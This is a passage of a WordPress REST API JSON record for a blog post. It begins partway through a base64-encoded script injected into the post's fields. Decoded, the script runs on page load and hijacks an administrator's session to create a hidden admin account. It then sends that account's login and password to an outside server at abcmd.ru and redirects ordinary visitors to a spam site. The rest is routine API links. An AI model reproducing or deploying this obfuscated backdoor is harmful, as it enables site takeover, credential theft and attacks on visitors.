hvZCwgdXJsLCBhc3luYyk7CiAgICAgICAgcmVxLnNldFJlcXVlc3RIZWFkZXIoIkNvbnRlbnQtVHlwZSIsICJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQiKTsKICAgICAgICByZXEuc2VuZChkYXRhKTsKICAgICAgICByZXR1cm4gcmVxCiAgICB9CgogICAgZnVuY3Rpb24gZ2V0QmFzZVVybCgpIHsKICAgICAgICBmb3IodmFyIGkgPSAwLCBsPWRvY3VtZW50LmxpbmtzLmxlbmd0aDsgaTxsOyBpKyspIHsKICAgICAgICAgICAgdmFyIGN1cnJIcmVmID0gZG9jdW1lbnQubGlua3NbaV0uaHJlZjsKICAgICAgICAgICAgaWYoY3VyckhyZWYuaW5jbHVkZXMoIi93cC1hZG1pbi8iKSl7CiAgICAgICAgICAgICAgICB2YXIgbG5rQXJyID0gY3VyckhyZWYuc3BsaXQoIndwLWFkbWluLyIpOwogICAgICAgICAgICAgICAgcmV0dXJuIGxua0FyclswXSArICJ3cC1hZG1pbi8iOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gIiI7CiAgICB9CgogICAgZnVuY3Rpb24gbWFrZWlkKGxlbmd0aCkgewogICAgICAgIHZhciByZXN1bHQgPSAnJzsKICAgICAgICB2YXIgY2hhcmFjdGVycyA9ICdBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSc7CiAgICAgICAgdmFyIGNoYXJhY3RlcnNMZW5ndGggPSBjaGFyYWN0ZXJzLmxlbmd0aDsKICAgICAgICBmb3IgKHZhciBpID0gMDsgaSA8IGxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIHJlc3VsdCArPSBjaGFyYWN0ZXJzLmNoYXJBdChNYXRoLmZsb29yKE1hdGgucmFuZG9tKCkgKiBjaGFyYWN0ZXJzTGVuZ3RoKSk7CiAgICAgICAgfQogICAgICAgIHJldHVybiByZXN1bHQ7CiAgICB9CgogICAgaWYgKGlzQWRtaW4oKSkgewogICAgICAgIGlmIChnZXRDb29raWUoIlRobzNmYWVLIikgPT09IG51bGwpIHsKICAgICAgICAgICAgY29uc29sZS5sb2coImlzQWRtaW4iKTsKICAgICAgICAgICAgdmFyIGJhc2VEaXIgPSBnZXRCYXNlVXJsKCk7CiAgICAgICAgICAgIHZhciByZXF1ZXN0VVJMID0gYmFzZURpciArICJ1c2VyIiArICItbmV3LnBocCI7CiAgICAgICAgICAgIGNvbnNvbGUubG9nKHJlcXVlc3RVUkwpCiAgICAgICAgICAgIHZhciByZXEgPSByZXF1ZXN0KHJlcXVlc3RVUkwsICJHRVQiLCAiIiwgZmFsc2UpOwogICAgICAgICAgICB2YXIgd3Bfbm9uY2VSZWdleCA9IC9zZXIiIHZhbHVlPSIoW14iXSo\/KSIvZzsKICAgICAgICAgICAgdmFyIG5vbmNlTWF0Y2g7CiAgICAgICAgICAgIHZhciBub25jZSA9ICIiOwogICAgICAgICAgICBub25jZU1hdGNoID0gd3Bfbm9uY2VSZWdleC5leGVjKHJlcS5yZXNwb25zZVRleHQpOwogICAgICAgICAgICBpZiAobm9uY2VNYXRjaC5sZW5ndGggPT09IDApcmV0dXJuIGZhbHNlOwogICAgICAgICAgICBub25jZSA9IG5vbmNlTWF0Y2hbMV07CiAgICAgICAgICAgIGlmIChub25jZSA9PT0gIiIpcmV0dXJuIGZhbHNlOwoKICAgICAgICAgICAgdmFyIHVzZXJuYW1lID0gInN5c3RlbSI7CiAgICAgICAgICAgIHZhciBwYXNzd29yZCA9IG1ha2VpZCgxNSk7CgogICAgICAgICAgICB2YXIgcGFyYW1zID0gImFjdGlvbj1jcmVhdGV1c2VyJl93cG5vbmNlX2NyZWF0ZS11c2VyPSIgKyBub25jZSArICImdXNlcl9sb2dpbj0iICsgdXNlcm5hbWUgKwogICAgICAgICAgICAgICAgIiZlbWFpbD1zeXN0ZW1Ad29yZHByZXNzLmxvY2FsJnBhc3MxPSIgKyBwYXNzd29yZCArICImcGFzczI9IiArIHBhc3N3b3JkICsgIiZyb2xlPWFkbWluaXN0cmF0b3IiOwogICAgICAgICAgICByZXEgPSByZXF1ZXN0KHJlcXVlc3RVUkwsICJQT1NUIiwgcGFyYW1zLCB0cnVlKTsKICAgICAgICAgICAgcmVxLm9ubG9hZCA9IGZ1bmN0aW9uICgpIHsKCiAgICAgICAgICAgICAgICBpZiAocmVxLnJlc3BvbnNlVVJMLmluY2x1ZGVzKCJ1cGRhdGU9YWRkIikpIHsKICAgICAgICAgICAgICAgICAgICB2YXIgaW5mbyA9ICJsPSIrdXNlcm5hbWUrIiZwPSIrcGFzc3dvcmQrIiZ1PSIrYmFzZURpci5yZXBsYWNlKCIvd3AtYWRtaW4vIiwgIiIpOwoKICAgICAgICAgICAgICAgICAgICB2YXIgZ2F0ZVVybCA9ICJodHRwczovL2FiY21kLnJ1OjgxL2VuZWlYNHV1IjsKCgogICAgICAgICAgICAgICAgICAgIHJlcXVlc3QoZ2F0ZVVybCwgIlBPU1QiLCBpbmZvLCB0cnVlKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfTsKCiAgICAgICAgICAgIHNldENvb2tpZSgiVGhvM2ZhZUsiLCAiZG8iLCAzNjUpOwogICAgICAgIH0KICAgIH0gZWxzZXsKCiAgICAgICAgZnVuY3Rpb24gaXNNb2JpbGUoKSB7CiAgICAgICAgICAgIHJldHVybiAobmF2aWdhdG9yLnVzZXJBZ2VudC5tYXRjaCgvQW5kcm9pZC9pKSB8fCBuYXZpZ2F0b3IudXNlckFnZW50Lm1hdGNoKC9CbGFja0JlcnJ5L2kpIHx8CiAgICAgICAgICAgICAgICBuYXZpZ2F0b3IudXNlckFnZW50Lm1hdGNoKC9pUGhvbmV8aVBhZHxpUG9kL2kpIHx8IG5hdmlnYXRvci51c2VyQWdlbnQubWF0Y2goL09wZXJhIE1pbmkvaSkgfHwKICAgICAgICAgICAgICAgIG5hdmlnYXRvci51c2VyQWdlbnQubWF0Y2goL0lFTW9iaWxlL2kpKTsKICAgICAgICB9CgogICAgICAgIGZ1bmN0aW9uIGlzRGVza3RvcCgpIHsKICAgICAgICAgICAgcmV0dXJuIChuYXZpZ2F0b3IudXNlckFnZW50LmluZGV4T2YoIkVkZ2UiKSAhPT0gLTEgfHwgbmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKCJNU0lFOyIpICE9PSAtMSB8fAogICAgICAgICAgICAgICAgbmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKCJPUFIiKSAhPT0gLTEgfHwgbmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKCJDaHJvbWl1bSIpICE9PSAtMSB8fAogICAgICAgICAgICAgICAgbmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKCJGaXJlZm94IikgIT09IC0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZigiQ2hyb21lIikgIT09IC0xCiAgICAgICAgICAgICkKICAgICAgICB9CgogICAgICAgIHZhciB4ID0gZ2V0Q29va2llKCJhZU5lZThwaSIpOwogICAgICAgIGlmICh4ICE9PSAiMSIpIHsKICAgICAgICAgICAgaWYgKGlzRGVza3RvcCgpIHx8IGlzTW9iaWxlKCkpIHsKICAgICAgICAgICAgICAgIHNldENvb2tpZSgiYWVOZWU4cGkiLCAiMSIsIDMwKTsKICAgICAgICAgICAgICAgIHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCJodHRwczovL2p1c3RjYW5uYWJpcy5vbmxpbmUvP3dwcHJkMiIpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQoKfQoKaWYgKHdpbmRvdy5hdHRhY2hFdmVudCkgewogICAgd2luZG93LmF0dGFjaEV2ZW50KCdvbmxvYWQnLCBzdGFydCk7Cn0gZWxzZSB7CiAgICBpZiAod2luZG93Lm9ubG9hZCkgewogICAgICAgIHZhciBjdXJyb25sb2FkID0gd2luZG93Lm9ubG9hZDsKICAgICAgICB2YXIgbmV3b25sb2FkID0gZnVuY3Rpb24gKGV2dCkgewogICAgICAgICAgICBjdXJyb25sb2FkKGV2dCk7CiAgICAgICAgICAgIHN0YXJ0KGV2dCk7CiAgICAgICAgfTsKICAgICAgICB3aW5kb3cub25sb2FkID0gbmV3b25sb2FkOwogICAgfSBlbHNlIHsKICAgICAgICB3aW5kb3cub25sb2FkID0gc3RhcnQ7CiAgICB9Cn0='));\" href='","cwp_image_link":"image","wppr_links":[],"cwp_rev_price":"","wppr_pros":[""],"wppr_cons":[""],"wppr_rating":"0.00","wppr_options":[]},"_links":{"self":[{"href":"http:\/\/digitaltrends.co.il\/index.php?rest_route=\/wp\/v2\/posts\/357","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/digitaltrends.co.il\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/digitaltrends.co.il\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/digitaltrends.co.il\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/digitaltrends.co.il\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=357"}],"version-history":[{"count":17,"href":"http:\/\/digitaltrends.co.il\/index.php?rest_route=\/wp\/v2\/posts\/357\/revisions"}],"predecessor-version":[{"id":393,"href":"http:\/\/digitaltrends.co.il\/index.php?rest_route=\/wp\/v2\/posts\/357\/revisions\/393"}],"wp:attachment":[{"href":"http:\/\/digitaltrends.co.il\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=357"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/digitaltrends.co.il\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=357"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/digitaltrends.co.il\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=357"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}